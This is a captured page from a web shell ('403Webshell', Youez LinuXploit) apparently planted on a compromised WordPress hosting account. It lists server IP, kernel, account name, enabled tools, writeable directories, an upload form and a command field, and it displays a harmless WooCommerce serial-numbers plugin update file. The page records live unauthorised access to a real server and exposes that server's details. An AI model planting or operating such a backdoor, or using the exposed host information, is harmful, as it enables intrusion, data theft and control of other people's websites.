403Webshell
Server IP : 162.0.217.223  /  Your IP : 216.73.216.150
Web Server : LiteSpeed
System : Linux premium269.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : mypckeys ( 1539)
PHP Version : 8.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/mypckeys/www/wp-content/plugins/wc-serial-numbers/includes/updates/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/mypckeys/www/wp-content/plugins/wc-serial-numbers/includes/updates/update-1.0.6.php
<?php
function wcsn_update_1_0_6() {
    global $wpdb;

    WCSN_Install::activate();
    WCSN_Install::create_cron();

    $collate = '';
    if ( $wpdb->has_cap( 'collation' ) ) {
        if ( ! empty( $wpdb->charset ) ) {
            $collate .= "DEFAULT CHARACTER SET $wpdb->charset";
        }
        if ( ! empty( $wpdb->collate ) ) {
            $collate .= " COLLATE $wpdb->collate";
        }
    }

    $tables = [
        "CREATE TABLE IF NOT EXISTS {$wpdb->prefix}wcsn_tmp_serial_numbers(
        id bigint(20) NOT NULL AUTO_INCREMENT,
        serial_key longtext DEFAULT NULL,
        serial_image varchar(200) DEFAULT NULL,
        product_id bigint(20) NOT NULL,
        activation_limit int(9) NULL,
        order_id bigint(20) NOT NULL DEFAULT 0,
        activation_email varchar(200) DEFAULT NULL,
        status varchar(50) DEFAULT 'available',
        validity varchar(200) DEFAULT NULL,
        expire_date DATETIME DEFAULT '0000-00-00 00:00:00' NOT NULL,
        order_date DATETIME DEFAULT '0000-00-00 00:00:00' NOT NULL,
        created DATETIME DEFAULT CURRENT_TIMESTAMP NOT NULL,
        PRIMARY KEY  (id)
        ) $collate;",
    ];

    require_once( ABSPATH . 'wp-admin/includes/upgrade.php' );

    foreach ( $tables as $table ) {
        dbDelta( $table );
    }



    $serial_numbers = wcsn_get_serial_numbers( array(
        'number' => -1,
    ) );
    foreach( $serial_numbers as $serial_number ) {
        wcsn()->tmp_serial_number->insert( $serial_number );
    }
    foreach( $serial_numbers as $serial_number ) {
        $serial_number = (array) $serial_number;

        if ( ! empty( $serial_number['serial_key'] ) ) {
            $serial_number['serial_key'] = wcsn_encrypt( $serial_number['serial_key'] );
        }

        wcsn()->serial_number->update( $serial_number['id'], $serial_number );
    }
}

wcsn_update_1_0_6();

Youez - 2016 - github.com/yon3zu
LinuXploit